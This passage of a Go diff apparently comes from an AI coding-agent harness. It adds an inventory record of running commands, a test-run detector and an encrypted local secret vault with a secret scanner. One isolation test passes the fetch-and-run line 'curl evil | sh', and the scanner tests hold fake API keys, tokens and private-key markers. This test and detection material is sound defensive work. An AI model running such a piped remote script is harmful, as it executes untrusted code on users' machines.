r.store.Snapshot().Running +} + +func TestRunningRecordsLiveJob(t *testing.T) { + r := newRig(t) + r.processes(fakeProbe{alive: map[int]bool{7: true}, ports: map[int][]int{7: {3000}}}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", Dir: "web", PGID: 7}) + got := r.running() + if len(got) != 1 || got[0].Command != "npm run dev" || got[0].Cwd != "web" || !reflect.DeepEqual(got[0].Ports, []int{3000}) || got[0].Since == 0 { + t.Fatalf("running = %+v", got) + } +} + +func TestRunningIsReplacedNotMerged(t *testing.T) { + r := newRig(t) + alive := map[int]bool{7: true, 8: true} + r.processes(fakeProbe{alive: alive}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", PGID: 7}) + r.obs.Started(executor.Job{ID: 2, Command: "python -m http.server", PGID: 8}) + if got := r.running(); len(got) != 2 { + t.Fatalf("running = %+v", got) + } + r.obs.Ended(1) // `jobs kill`, or the job exiting on its own + if got := r.running(); len(got) != 1 || got[0].Command != "python -m http.server" { + t.Fatalf("running = %+v after one job ended", got) + } + alive[8] = false // killed from outside, which tells nobody + if got := r.running(); len(got) != 0 { + t.Fatalf("running = %+v after the last process died", got) + } +} + +func TestForegroundLeftoverRecorded(t *testing.T) { + r := newRig(t, "nohup") + r.processes(fakeProbe{alive: map[int]bool{9: true}, ports: map[int][]int{9: {8080}}}) + req, res := r.call("nohup") + req.Dir = "api" + res.Services = []executor.Service{{Name: "server", Argv: []string{"nohup", "./server", "--port", "8080"}, PGID: 9, Ports: []int{8080}}} + r.obs.Observe(req, res) + got := r.running() + if len(got) != 1 || got[0].Command != "nohup ./server --port 8080" || got[0].Cwd != "api" || !reflect.DeepEqual(got[0].Ports, []int{8080}) { + t.Fatalf("running = %+v: a process a call left behind is a running command with the call's folder", got) + } +} + +func TestDetachedHintPairsWithStop(t *testing.T) { + r := newRig(t) + do := func(exit int, words ...string) { + r.obs.Observe(executor.ExecRequest{Argv: words, Dir: "infra"}, executor.ExecResult{Exit: exit}) + } + detached := func() []string { + var out []string + for _, d := range r.store.Snapshot().Detached { + out = append(out, d.Command) + } + return out + } + do(1, "docker", "compose", "up", "-d") + if got := detached(); len(got) != 0 { + t.Fatalf("a start that failed is listed: %v", got) + } + do(0, "docker", "compose", "up", "-d") + do(0, "brew", "services", "start", "postgresql@16") + do(0, "ls") + if got := detached(); !reflect.DeepEqual(got, []string{"docker compose up -d", "brew services start postgresql@16"}) { + t.Fatalf("detached = %v", got) + } + do(0, "docker", "compose", "down") + if got := detached(); !reflect.DeepEqual(got, []string{"brew services start postgresql@16"}) { + t.Fatalf("detached = %v after the matching stop", got) + } + do(0, "docker", "compose", "up", "-d") + do(0, "docker", "compose", "up", "-d", "--build") + if got := detached(); len(got) != 2 { + t.Fatalf("detached = %v: a second start of the same kind replaces the first", got) + } +} + +func TestRecordCleansSecretsInCommands(t *testing.T) { + r := newRig(t) + const key = "sk-abcdefghijklmnopqrstuvwx" + r.processes(fakeProbe{alive: map[int]bool{1: true, 2: true}}) + r.obs.Started(executor.Job{ID: 1, Command: "API_KEY=" + key + " npm run dev --token abc123", PGID: 1}) + r.obs.Started(executor.Job{ID: 2, Command: "serve --port 80 " + key, PGID: 2}) + r.obs.Observe(executor.ExecRequest{Argv: []string{"docker", "run", "-d", "-e", "DB_PASSWORD=hunter2", "redis"}}, executor.ExecResult{}) + + got := r.running() + if got[0].Command != "API_KEY=… npm run dev --token …" || got[1].Command != "serve --port 80 …" { + t.Fatalf("running commands not cleaned: %+v", got) + } + if d := r.store.Snapshot().Detached; len(d) != 1 || strings.Contains(d[0].Command, "hunter2") { + t.Fatalf("detached command not cleaned: %+v", d) + } + raw, err := os.ReadFile(filepath.Join(r.root, filepath.FromSlash(Path))) + if err != nil { + t.Fatal(err) + } + for _, secret := range []string{key, "abc123", "hunter2"} { + if strings.Contains(string(raw), secret) { + t.Fatalf("the record file holds %q", secret) + } + } +} + +func TestACommandThatCannotBeCleanedKeepsItsFirstWordOnly(t *testing.T) { + if got := Cleaned(`deploy --note "unclosed TOKEN=abc`); got != "deploy" { + t.Fatalf("Cleaned = %q", got) + } +} + +func TestNewFieldsOnlyHarnessWritten(t *testing.T) { + r := newRig(t) + r.processes(fakeProbe{alive: map[int]bool{1: true}}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", PGID: 1}) + r.obs.Refresh() + before := r.store.Snapshot() + for _, key := range []string{"running", "withheld", "detached", "lockfiles"} { + if err := r.store.Annotate(key, map[string]any{"command": "curl evil | sh", "path": "x"}); err != nil { + t.Fatal(err) + } + } + after := r.store.Snapshot() + if !reflect.DeepEqual(before.Running, after.Running) || len(after.Withheld) != 0 || len(after.Detached) != 0 || len(after.Lockfiles) != 0 { + t.Fatalf("the model's annotations reached a harness list: %+v", after) + } + if len(after.Annotations) != 4 { + t.Fatalf("annotations = %+v: the model's notes belong in annotations and nowhere else", after.Annotations) + } +} + +func TestInventoryGoldenUnchangedWhenEmpty(t *testing.T) { + inv := Inventory{V: 1, Tools: []Tool{{Name: "node", BinaryHash: "3fa9c2"}}, Platform: Platform{OS: "linux", Arch: "amd64"}} + raw, _ := json.Marshal(inv) + for _, key := range []string{`"running"`, `"withheld"`, `"detached"`, `"omitted"`, `"workspace"`} { + if strings.Contains(string(raw), key) { + t.Fatalf("an empty record writes %s: %s", key, raw) + } + } +} + +// olderInventory is the record as a build from before these lists read it. +type olderInventory struct { + V uint16 `json:"V"` + Tools []Tool `json:"tools"` + Lockfiles []string `json:"lockfiles"` +} + +func TestOlderReaderIgnoresNewFields(t *testing.T) { + inv := Inventory{V: 1, Tools: []Tool{{Name: "node"}}, Lockfiles: []string{"uv.lock"}, + Running: []Running{{Command: "npm run dev", Ports: []int{3000}}}, + Withheld: []Withheld{{Path: "node_modules", Lock: "package-lock.json"}}, + Detached: []Detached{{Command: "docker compose up -d"}}} + raw, _ := json.Marshal(inv) + var old olderInventory + if err := json.Unmarshal(raw, &old); err != nil || len(old.Tools) != 1 || old.Lockfiles[0] != "uv.lock" { + t.Fatalf("an older reader could not read a record with the new lists: %v %+v", err, old) + } + var fromOld Inventory + older, _ := json.Marshal(olderInventory{V: 1, Tools: []Tool{{Name: "go"}}}) + if err := json.Unmarshal(older, &fromOld); err != nil || len(fromOld.Running)+len(fromOld.Withheld)+len(fromOld.Detached) != 0 { + t.Fatalf("a record from before the lists read as %+v (%v)", fromOld, err) + } +} + +func TestRecordBounds(t *testing.T) { + var inv Inventory + var run []Running + for i := 0; i < 40; i++ { + run = append(run, Running{Command: string(rune('a' + i%26)), Since: int64(i)}) + } + inv.SetRunning(run) + if len(inv.Running) != maxRunning || inv.Running[len(inv.Running)-1].Since != 39 || inv.OmittedOf(ListRunning) != 40-maxRunning { + t.Fatalf("running %d entries, omitted %v: the newest stay and the cut is counted", len(inv.Running), inv.Omitted) + } + inv.SetRunning(nil) + if inv.Omitted != nil { + t.Fatalf("omitted = %v after the list emptied", inv.Omitted) + } + var many []Withheld + for i := 0; i < 100; i++ { + many = append(many, Withheld{Path: "p" + string(rune('a'+i%26)) + "/node_modules"}) + } + inv.SetWithheld(func(string) bool { return true }, many) + if len(inv.Withheld) != maxWithheld || inv.OmittedOf(ListWithheld) != 100-maxWithheld { + t.Fatalf("withheld %d entries, omitted %v", len(inv.Withheld), inv.Omitted) + } + if long := Cleaned(strings.Repeat("é", 300)); len(long) > maxCommand || !strings.HasSuffix(long, "é") { + t.Fatalf("a long command was cut to %d bytes, mid-character or not at all", len(long)) + } +} + +func TestSetWithheldReplacesOnlyItsOwnEntries(t *testing.T) { + inv := Inventory{Withheld: []Withheld{{Path: "node_modules"}, {Path: "trees/t1/node_modules"}}} + inv.SetWithheld(func(p string) bool { return !strings.HasPrefix(p, "trees/") }, []Withheld{{Path: "web/node_modules"}}) + var got []string + for _, w := range inv.Withheld { + got = append(got, w.Path) + } + if !reflect.DeepEqual(got, []string{"trees/t1/node_modules", "web/node_modules"}) { + t.Fatalf("withheld = %v", got) + } +} + +func TestTwoStoresOfOneCellDoNotEraseEachOther(t *testing.T) { + root := t.TempDir() + a, err := Open(root) + if err != nil { + t.Fatal(err) + } + if err := a.Update(func(inv *Inventory) { inv.SetRunning([]Running{{Command: "one"}}) }); err != nil { + t.Fatal(err) + } + // The seal's own step opens a store of its own and writes another part. + if err := Record(root, func(inv *Inventory) { inv.Withheld = []Withheld{{Path: "node_modules"}} }); err != nil { + t.Fatal(err) + } + if err := a.Update(func(inv *Inventory) { inv.EnvVarNames = []string{"HOME"} }); err != nil { + t.Fatal(err) + } + got := a.Snapshot() + if len(got.Running) != 1 || len(got.Withheld) != 1 || len(got.EnvVarNames) != 1 { + t.Fatalf("a write from one store erased another's: %+v", got) + } +} + +func TestLiveListsOldestFirst(t *testing.T) { + now := time.UnixMilli(1000) + l := NewLive(func() time.Time { return now }) + l.Started(executor.Job{ID: 2, Command: "b", PGID: 2}) + now = now.Add(time.Second) + l.Started(executor.Job{ID: 1, Command: "a", PGID: 1}) + got := l.Alive(fakeProbe{alive: map[int]bool{1: true, 2: true}}) + if len(got) != 2 || got[0].Command != "b" || got[1].Command != "a" { + t.Fatalf("alive = %+v", got) + } +} + +func TestARecordedScriptIsOneLine(t *testing.T) { + got := Cleaned("npm ci --offline\n\n nohup node server.js 3000 >server.log 2>&1 &\nsleep 2\n") + if want := "npm ci --offline; nohup node server.js 3000 >server.log 2>&1 &; sleep 2"; got != want { + t.Fatalf("Cleaned = %q, want %q", got, want) + } +} diff --git a/internal/inventory/store.go b/internal/inventory/store.go new file mode 100644 index 0000000000..4e15fdafd9 --- /dev/null +++ b/internal/inventory/store.go @@ -0,0 +1,159 @@ +package inventory + +import ( + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "reflect" + "runtime" + "sync" +) + +// Store owns one cell's inventory file. Every change goes through Update, so +// the file is rewritten whole, atomically, and only when something changed. +type Store struct { + mu sync.Mutex + path string + inv Inventory +} + +// Open loads the inventory of the cell rooted at root, or starts an empty one +// for this platform. +func Open(root string) (*Store, error) { + s := &Store{path: filepath.Join(root, filepath.FromSlash(Path))} + inv, err := s.read() + if err != nil { + return nil, err + } + s.inv = inv + return s, nil +} + +// read is the file as it is now, or the empty inventory of this platform where +// there is none. +func (s *Store) read() (Inventory, error) { + raw, err := os.ReadFile(s.path) + if errors.Is(err, fs.ErrNotExist) { + return Inventory{V: schemaV, Platform: Platform{OS: runtime.GOOS, Arch: runtime.GOARCH}}, nil + } + if err != nil { + return Inventory{}, fmt.Errorf("open inventory: %w", err) + } + var inv Inventory + if err := json.Unmarshal(raw, &inv); err != nil { + return Inventory{}, fmt.Errorf("open inventory: %w", err) + } + return inv, nil +} + +// Record opens the inventory of the cell rooted at root, applies change and +// persists it. It is the door for a step that writes one part of the record and +// does not hold a store: the seal's own steps, which run beside the session's +// observer and must not overwrite what it wrote. +func Record(root string, change func(*Inventory)) error { + s, err := Open(root) + if err != nil { + return err + } + return s.Update(change) +} + +// Snapshot is a copy of the current inventory. +func (s *Store) Snapshot() Inventory { + s.mu.Lock() + defer s.mu.Unlock() + s.refresh() + return clone(s.inv) +} + +// refresh takes the file's current contents, because another store of the same +// file may have written since this one last looked. A file that cannot be read +// keeps what this store holds. +func (s *Store) refresh() { + if inv, err := s.read(); err == nil { + s.inv = inv + } +} + +// Update applies change to a copy and persists it when it differs. The copy is +// made from the file as it is now, so two stores of one cell never erase each +// other's part of the record. +func (s *Store) Update(change func(*Inventory)) error { + writeMu.Lock() + defer writeMu.Unlock() + s.mu.Lock() + defer s.mu.Unlock() + s.refresh() + next := clone(s.inv) + change(&next) + next.V = schemaV + if reflect.DeepEqual(next, s.inv) { + return nil + } + if err := s.write(next); err != nil { + return err + } + s.inv = next + return nil +} + +// writeMu orders every read-change-write of the file in this process, whichever +// store does it. +var writeMu sync.Mutex + +// Annotate records agent-supplied notes about one key. It cannot touch any +// other field: annotations are the model's only door into the inventory (L13). +func (s *Store) Annotate(key string, note map[string]any) error { + return s.Update(func(inv *Inventory) { + if inv.Annotations == nil { + inv.Annotations = map[string]map[string]any{} + } + inv.Annotations[key] = note + }) +} + +func (s *Store) write(inv Inventory) error { + raw, err := json.MarshalIndent(inv, "", " ") + if err != nil { + return err + } + return writeAtomic(s.path, raw) +} + +func writeAtomic(path string, data []byte) (err error) { + if err = os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + tmp, err := os.CreateTemp(filepath.Dir(path), ".inventory-*.tmp") + if err != nil { + return err + } + defer func() { + if err != nil { + _ = os.Remove(tmp.Name()) + } + }() + if _, err = tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Sync(); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Close(); err != nil { + return err + } + return os.Rename(tmp.Name(), path) +} + +// clone deep-copies through JSON, which is also the shape that persists. +func clone(inv Inventory) Inventory { + raw, _ := json.Marshal(inv) + var out Inventory + _ = json.Unmarshal(raw, &out) + return out +} diff --git a/internal/inventory/tests.go b/internal/inventory/tests.go new file mode 100644 index 0000000000..38cfbd9378 --- /dev/null +++ b/internal/inventory/tests.go @@ -0,0 +1,90 @@ +package inventory + +import ( + "path/filepath" + "regexp" + "strconv" + "strings" +) + +// TestRun is the last test command a call ran to its end: whether it passed +// and, where its output said, how many tests failed. It is recorded only from a +// run that happened, so a chat that never ran tests has none. +type TestRun struct { + Command string `json:"command"` + Passed bool `json:"passed"` + Failed int `json:"failed,omitempty"` +} + +// testKind is one kind of test command and how its output counts failures. It +// is data: a runner is added by naming a pattern and a count, and nothing else +// changes. +type testKind struct { + command *regexp.Regexp + failed *regexp.Regexp +} + +// starts is where a test command may begin: the line's start, or after a step. +const starts = `(?:^|&&\s*|;\s*)` + +func kind(command, failed string) testKind { + return testKind{regexp.MustCompile(starts + command), regexp.MustCompile(failed)} +} + +// testKinds is the runners the record knows. The failed pattern's first group +// is a count, or, for a pattern that matches once per failure, absent. +var testKinds = []testKind{ + kind(`go\s+test\b`, `(?m)^--- FAIL:`), + kind(`(python3?\s+-m\s+)?pytest\b`, `(\d+) failed`), + kind(`cargo\s+test\b`, `(\d+) failed`), + kind(`(npm|pnpm|yarn)\s+(run\s+)?test\b`, `Tests:\s+(\d+) failed`), + kind(`make\s+test\b`, `(\d+) failed`), +} + +// shells are the programs that run a script handed to them with -c. +var shells = map[string]bool{"sh": true, "bash": true, "zsh": true} + +// scriptOf is the line a call ran: the script of a shell -c call, else the +// words of the call. +func scriptOf(argv []string) string { + if len(argv) >= 3 && shells[filepath.Base(argv[0])] && strings.HasSuffix(argv[1], "c") && strings.HasPrefix(argv[1], "-") { + return argv[2] + } + return strings.Join(argv, " ") +} + +// testRunOf reads one finished command: the run it was, when it was a test +// command that ran to its end. A command that was killed has no verdict. +func testRunOf(command string, exit int, output []byte) (TestRun, bool) { + if exit < 0 { + return TestRun{}, false + } + for _, k := range testKinds { + if loc := k.command.FindStringIndex(command); loc != nil && !masksExit(command[loc[1]:]) { + run := TestRun{Command: command, Passed: exit == 0} + if !run.Passed { + run.Failed = k.count(output) + } + return run, true + } + } + return TestRun{}, false +} + +// count is how many tests the output says failed, zero when it does not say. +func (k testKind) count(output []byte) int { + all := k.failed.FindAllSubmatch(output, -1) + if k.failed.NumSubexp() == 0 { + return len(all) + } + for _, m := range all { + if n, err := strconv.Atoi(string(m[1])); err == nil { + return n + } + } + return 0 +} + +// masksExit reports whether what follows a test command can change the exit +// status the call ended with: a pipe or a later step says nothing of the tests. +func masksExit(rest string) bool { return strings.ContainsAny(rest, "|;") } diff --git a/internal/inventory/tests_test.go b/internal/inventory/tests_test.go new file mode 100644 index 0000000000..7bc9c2496a --- /dev/null +++ b/internal/inventory/tests_test.go @@ -0,0 +1,57 @@ +package inventory + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +func TestATestCommandIsReadFromItsExit(t *testing.T) { + cases := []struct { + name, cmd string + exit int + out string + want TestRun + ok bool + }{ + {"go pass", "go test ./...", 0, "ok x", TestRun{Command: "go test ./...", Passed: true}, true}, + {"go fail", "go test ./...", 1, "--- FAIL: A\n--- FAIL: B\nFAIL", TestRun{Command: "go test ./...", Failed: 2}, true}, + {"pytest fail", "cd app && pytest -q", 1, "3 failed, 4 passed", TestRun{Command: "cd app && pytest -q", Failed: 3}, true}, + {"fail without count", "make test", 2, "boom", TestRun{Command: "make test"}, true}, + {"killed", "go test ./...", -1, "", TestRun{}, false}, + {"piped", "go test ./... | tail", 0, "", TestRun{}, false}, + {"followed by a step", "go test ./...; echo done", 0, "", TestRun{}, false}, + {"not a test", "go build ./...", 0, "", TestRun{}, false}, + } + for _, c := range cases { + got, ok := testRunOf(c.cmd, c.exit, []byte(c.out)) + if ok != c.ok || got != c.want { + t.Errorf("%s: got %+v %v, want %+v %v", c.name, got, ok, c.want, c.ok) + } + } +} + +func TestAShellCallIsReadByItsScript(t *testing.T) { + if got := scriptOf([]string{"/bin/bash", "-lc", "go test ./..."}); got != "go test ./..." { + t.Fatalf("scriptOf = %q", got) + } + if got := scriptOf([]string{"go", "test", "./..."}); got != "go test ./..." { + t.Fatalf("scriptOf = %q", got) + } +} + +func TestTheObserverKeepsTheLastTestRunOnly(t *testing.T) { + r := newRig(t) + if r.store.Snapshot().Tests != nil { + t.Fatal("a run was recorded before any call") + } + r.obs.Observe(executor.ExecRequest{Argv: []string{"bash", "-c", "go test ./..."}}, executor.ExecResult{Exit: 1, Stdout: []byte("--- FAIL: A\n")}) + r.obs.Observe(executor.ExecRequest{Argv: []string{"ls"}}, executor.ExecResult{}) + if got := r.store.Snapshot().Tests; got == nil || got.Passed || got.Failed != 1 { + t.Fatalf("tests = %+v", got) + } + r.obs.Observe(executor.ExecRequest{Argv: []string{"go", "test"}}, executor.ExecResult{}) + if got := r.store.Snapshot().Tests; got == nil || !got.Passed { + t.Fatalf("tests = %+v", got) + } +} diff --git a/internal/keys/doc.go b/internal/keys/doc.go new file mode 100644 index 0000000000..3cdf7c2570 --- /dev/null +++ b/internal/keys/doc.go @@ -0,0 +1,10 @@ +// Package keys is the minimal local secret store. +// +// What protects what: secrets live in one file, vault.enc, sealed with +// ChaCha20-Poly1305 under the identity's cell key (internal/identity, kept in +// identity.json; a machine's older vault.key becomes that key on first use). +// Both files are mode 0600 in the codeaf home, outside every workspace. The +// identity file guards against the vault file being copied or committed on its +// own; anyone who can read both files as this user can read the secrets. The +// plaintext envelope carries only the version, cell_key_id and nonce. +package keys diff --git a/internal/keys/dotenv.go b/internal/keys/dotenv.go new file mode 100644 index 0000000000..50a134ce59 --- /dev/null +++ b/internal/keys/dotenv.go @@ -0,0 +1,48 @@ +package keys + +import "strings" + +type pair struct{ name, value string } + +// parseDotenv reads KEY=VALUE lines. It skips blanks and # comments, accepts +// an "export " prefix, and strips one layer of matching quotes. +func parseDotenv(text string) []pair { + var out []pair + for _, line := range strings.Split(text, "\n") { + if p, ok := parseLine(line); ok { + out = append(out, p) + } + } + return out +} + +func parseLine(line string) (pair, bool) { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + return pair{}, false + } + line = strings.TrimSpace(strings.TrimPrefix(line, "export ")) + name, value, found := strings.Cut(line, "=") + name = strings.TrimSpace(name) + if !found || name == "" { + return pair{}, false + } + return pair{name, unquote(strings.TrimSpace(value))}, true +} + +func unquote(s string) string { + if len(s) >= 2 && (s[0] == '"' || s[0] == '\'') && s[len(s)-1] == s[0] { + return s[1 : len(s)-1] + } + return s +} + +// DotenvValues maps each name a .env text sets to its value; when a name is set +// twice the later line wins, as a dotenv loader would read it. +func DotenvValues(text string) map[string]string { + out := map[string]string{} + for _, p := range parseDotenv(text) { + out[p.name] = p.value + } + return out +} diff --git a/internal/keys/golden_test.go b/internal/keys/golden_test.go new file mode 100644 index 0000000000..e27eae12dd --- /dev/null +++ b/internal/keys/golden_test.go @@ -0,0 +1,25 @@ +package keys + +import ( + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +// The vault document and its envelope are unexported, so their golden rows +// live here; the exported schemas are in internal/lawcheck. +func TestGoldenVault(t *testing.T) { + for name, sample := range map[string]any{ + "vault.envelope": envelope{V: 1, CellKeyID: "00112233445566778899aabbccddeeff", Nonce: "00112233445566778899aabbccddeeff0011223344556677", Data: "cafe"}, + "vault.doc": vaultDoc{V: 1, Updated: 1759049990000, Secrets: map[string]record{ + "a41c9e0b7d3f2586c1e0b94a7d3f2851": {Entry: Entry{Name: "DATABASE_URL", Value: "postgres://x", Scope: "p_8c1f2a"}}, + }}, + } { + t.Run(name, func(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", name+".golden.json"), sample) + }) + } +} diff --git a/internal/keys/keys_test.go b/internal/keys/keys_test.go new file mode 100644 index 0000000000..fcd5ac1f66 --- /dev/null +++ b/internal/keys/keys_test.go @@ -0,0 +1,242 @@ +package keys + +import ( + "encoding/hex" + "encoding/json" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "golang.org/x/crypto/chacha20poly1305" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +func mustOpen(t *testing.T) (*Vault, string) { + t.Helper() + home := filepath.Join(t.TempDir(), "home") + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + return v, home +} + +func TestRoundTrip(t *testing.T) { + v, home := mustOpen(t) + want := Entry{Name: "DATABASE_URL", Value: "postgres://u:pw@h/db", Scope: "p1"} + if err := v.Put("id1", want); err != nil { + t.Fatal(err) + } + again, _ := Open(home) + got, err := again.Get("id1") + if err != nil || got != want { + t.Fatalf("got %+v, %v", got, err) + } + if err := v.Delete("id1"); err != nil { + t.Fatal(err) + } + if _, err := v.Get("id1"); err != ErrNotFound { + t.Fatalf("want ErrNotFound, got %v", err) + } +} + +func TestFilesArePrivateAndSealed(t *testing.T) { + v, home := mustOpen(t) + if err := v.Put("id1", Entry{Name: "K", Value: "hunter2-plain", Scope: "p"}); err != nil { + t.Fatal(err) + } + for _, name := range []string{"vault.enc", "identity.json"} { + info, err := os.Stat(filepath.Join(home, name)) + if err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("%s: %v %v", name, info, err) + } + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + if strings.Contains(string(raw), "hunter2-plain") { + t.Fatal("value stored in plaintext") + } +} + +func TestAtomicWriteLeavesNoTemp(t *testing.T) { + v, home := mustOpen(t) + for i := 0; i < 3; i++ { + if err := v.Put("id", Entry{Name: "K", Value: "v", Scope: "p"}); err != nil { + t.Fatal(err) + } + } + entries, _ := os.ReadDir(home) + if len(entries) != 4 { + t.Fatalf("want vault.enc, identity.json, device.json and the solo mark only, got %v", entries) + } +} + +func TestTamperAndWrongKeyRejected(t *testing.T) { + v, home := mustOpen(t) + v.Put("id", Entry{Name: "K", Value: "v", Scope: "p"}) + os.Remove(filepath.Join(home, "identity.json")) + other, _ := Open(home) // fresh key + if _, err := other.Get("id"); err == nil { + t.Fatal("opened vault under a different key") + } +} + +func TestEnvScopedAndSorted(t *testing.T) { + v, _ := mustOpen(t) + v.Put("a", Entry{Name: "B", Value: "2", Scope: "p"}) + v.Put("b", Entry{Name: "A", Value: "1", Scope: "p"}) + v.Put("c", Entry{Name: "C", Value: "3", Scope: "other"}) + got, _ := v.Env("p") + if want := []string{"A=1", "B=2"}; !reflect.DeepEqual(got, want) { + t.Fatalf("got %v", got) + } +} + +func TestImportDotenv(t *testing.T) { + v, _ := mustOpen(t) + file := filepath.Join(t.TempDir(), ".env") + body := "# comment\n\nA=1\nexport B=\"two words\"\nC='3'\n D = 4 \nnoequals\n=novalue\n" + os.WriteFile(file, []byte(body), 0o600) + n, err := v.ImportDotenv(file, "p") + if err != nil || n != 4 { + t.Fatalf("n=%d err=%v", n, err) + } + got, _ := v.Env("p") + if want := []string{"A=1", "B=two words", "C=3", "D=4"}; !reflect.DeepEqual(got, want) { + t.Fatalf("got %v", got) + } + os.WriteFile(file, []byte("A=changed\n"), 0o600) + v.ImportDotenv(file, "p") + got, _ = v.Env("p") + if got[0] != "A=changed" || len(got) != 4 { + t.Fatalf("reimport should update in place: %v", got) + } +} + +func TestScanTree(t *testing.T) { + cases := []struct { + file, body, rule string // rule "" = clean + }{ + {".env", "X=1", "dotenv-file"}, + {".env.local", "X=1", "dotenv-file"}, + {"sub/prod.env", "X=1", "dotenv-file"}, + {"aws-credentials.json", "{}", "credentials-file"}, + {"tls/server.pem", "x", "private-key-file"}, + {"id_rsa", "x", "private-key-file"}, + {"id_ed25519.pub", "x", "private-key-file"}, + {"a.txt", "key=sk-abcdefghijklmnop1234", "api-key-sk"}, + {"b.txt", "ghp_" + strings.Repeat("a", 36), "github-token"}, + {"c.txt", "xoxb-1234567890-abcdef", "slack-token"}, + {"d.txt", "AKIAABCDEFGHIJKLMNOP", "aws-access-key"}, + {"e.txt", "-----BEGIN RSA PRIVATE KEY-----", "private-key-block"}, + {"main.go", "package main // task-sk-1", ""}, + {"env.md", "about .env files", ""}, + {"f.txt", "AKIAshort", ""}, + {"environment.txt", "hello", ""}, + } + root := t.TempDir() + for _, c := range cases { + p := filepath.Join(root, c.file) + os.MkdirAll(filepath.Dir(p), 0o755) + os.WriteFile(p, []byte(c.body), 0o644) + } + got := map[string]string{} + for _, f := range ScanTree(root) { + got[f.Path] = f.Rule + } + for _, c := range cases { + if got[c.file] != c.rule { + t.Errorf("%s: rule %q, want %q", c.file, got[c.file], c.rule) + } + } +} + +// A vault sealed before the schema freeze names its key as 16 hex under +// "key_id". It still opens, and the next write names the key as 32 hex under +// "cell_key_id". +func TestLegacyEnvelopeReadsOnceThenMigrates(t *testing.T) { + v, home := mustOpen(t) + plain := []byte(`{"V":1,"secrets":{"id1":{"name":"K","value":"v","scope":"p"}},"updated":1}`) + legacy := legacyID(v.key) + blob := sealAs(t, v.key, plain, legacy) + if err := os.WriteFile(filepath.Join(home, "vault.enc"), blob, 0o600); err != nil { + t.Fatal(err) + } + if got, err := v.Get("id1"); err != nil || got.Value != "v" { + t.Fatalf("legacy read: %+v %v", got, err) + } + if err := v.Put("id2", Entry{Name: "K2", Value: "w", Scope: "p"}); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + var env envelope + if err := json.Unmarshal(raw, &env); err != nil { + t.Fatal(err) + } + if len(env.CellKeyID) != 32 || env.KeyID != "" { + t.Fatalf("envelope not migrated: %s", raw) + } + if !strings.HasPrefix(env.CellKeyID, legacy) { + t.Fatalf("new id %s does not extend legacy id %s", env.CellKeyID, legacy) + } +} + +func TestEnvelopeRefusesForeignKeyID(t *testing.T) { + v, home := mustOpen(t) + if err := v.Put("id1", Entry{Name: "K", Value: "v", Scope: "p"}); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(filepath.Join(home, "vault.enc")) + var env envelope + _ = json.Unmarshal(raw, &env) + env.CellKeyID = strings.Repeat("ab", 16) + bad, _ := json.Marshal(env) + if _, err := open(v.key, bad); err == nil { + t.Fatal("opened an envelope naming another key") + } +} + +func legacyID(key []byte) string { return identity.CellKeyID(key)[:16] } + +// sealAs seals plain the way the pre-freeze build did, naming the key by id. +func sealAs(t *testing.T, key, plain []byte, id string) []byte { + t.Helper() + aead, _ := chacha20poly1305.New(key) + nonce := make([]byte, aead.NonceSize()) + blob, err := json.Marshal(map[string]any{"V": 1, "key_id": id, "nonce": hex.EncodeToString(nonce), + "data": hex.EncodeToString(aead.Seal(nil, nonce, plain, []byte(id)))}) + if err != nil { + t.Fatal(err) + } + return blob +} + +// A machine with a vault.key from before identities keeps its vault: the old +// key becomes the identity's cell key and the vault still opens. +func TestVaultKeyBecomesTheIdentityCellKey(t *testing.T) { + home := t.TempDir() + key := make([]byte, 32) + for i := range key { + key[i] = byte(i + 1) + } + os.WriteFile(filepath.Join(home, "vault.key"), []byte(hex.EncodeToString(key)), 0o600) + blob, err := seal(key, []byte(`{"V":1,"secrets":{"a":{"name":"K","value":"old","scope":"p"}},"updated":1}`)) + if err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(home, "vault.enc"), blob, 0o600) + + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + if e, err := v.Get("a"); err != nil || e.Value != "old" { + t.Fatalf("old vault did not open: %v %v", e, err) + } + id, _ := identity.Load(home) + if id.CellKeyID() != identity.CellKeyID(key) { + t.Fatal("identity cell key is not the old vault key") + } +} diff --git a/internal/keys/ledger.go b/internal/keys/ledger.go new file mode 100644 index 0000000000..97048cc71f --- /dev/null +++ b/internal/keys/ledger.go @@ -0,0 +1,45 @@ +package keys + +import ( + "io/fs" + "sync" +) + +// stamp is what tells a file is the one already judged. +type stamp struct{ size, mtime int64 } + +// Ledger remembers the files a scan found clean. A file is looked at again when +// its size or modification time is not the one noted, which is the test the +// engine's own stat cache uses. The zero value and a nil Ledger remember +// nothing; a Ledger is safe for concurrent use. +type Ledger struct { + mu sync.Mutex + clean map[string]stamp +} + +// NewLedger returns an empty ledger. +func NewLedger() *Ledger { return &Ledger{clean: map[string]stamp{}} } + +// known returns the file's stamp and whether the ledger holds it clean. +func (l *Ledger) known(abs string, d fs.DirEntry) (stamp, bool) { + if l == nil { + return stamp{}, false + } + info, err := d.Info() + if err != nil { + return stamp{}, false + } + st := stamp{info.Size(), info.ModTime().UnixNano()} + l.mu.Lock() + defer l.mu.Unlock() + return st, l.clean[abs] == st +} + +func (l *Ledger) note(abs string, st stamp) { + if l == nil || st == (stamp{}) { + return + } + l.mu.Lock() + defer l.mu.Unlock() + l.clean[abs] = st +} diff --git a/internal/keys/merge.go b/internal/keys/merge.go new file mode 100644 index 0000000000..fe42aae28a --- /dev/null +++ b/internal/keys/merge.go @@ -0,0 